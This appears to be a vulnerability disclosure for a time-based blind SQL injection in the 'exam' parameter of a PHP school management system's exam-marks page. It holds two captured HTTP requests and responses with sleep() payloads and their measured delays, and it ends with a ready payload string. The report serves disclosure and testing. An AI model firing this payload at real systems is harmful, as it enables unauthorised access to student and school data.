

SQL injection vulnerability exists in exam parameter of /view/my\_student\_exam\_marks1.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

**Request**

Pretty Raw Hex

```
1 GET /std1/view/my_student_exam_marks1.php?exam=1'%20and%20(select%201%20from%20(select(sleep(2)))v)%20and%20'1'='1&index=index&year=year HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11
```

**Response**

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:05:57 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 2158
8
9 <div class="col-md-12">
10 <div class="box">
11 <div class="box-header">
12
13 <center>
14 <h2 class="box-title">
15 year - Exam
16 </h2>
17 </center>
18 </div>
19 <!-- /.box-header -->
20 <div class="box-body table-responsive">
21 <div class="row">
```

Done 2,348 bytes | 4,004 millis

Sleep time is 12s:

**Request**

Pretty Raw Hex

```
1 GET /std1/view/my_student_exam_marks1.php?exam=1'%20and%20(select%201%20from%20(select(sleep(6)))v)%20and%20'1'='1&index=index&year=year HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11
```

**Response**

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:06:20 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 2158
8
9 <div class="col-md-12">
10 <div class="box">
11 <div class="box-header">
12
13 <center>
14 <h2 class="box-title">
15 year - Exam
16 </h2>
17 </center>
18 </div>
19 <!-- /.box-header -->
20 <div class="box-body table-responsive">
21 <div class="row">
```

Done 2,348 bytes | 12,004 millis

Payload: exam=1'%20and%20(select%201%20from%20(select(sleep(6)))v)%20and%20'1'='1

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>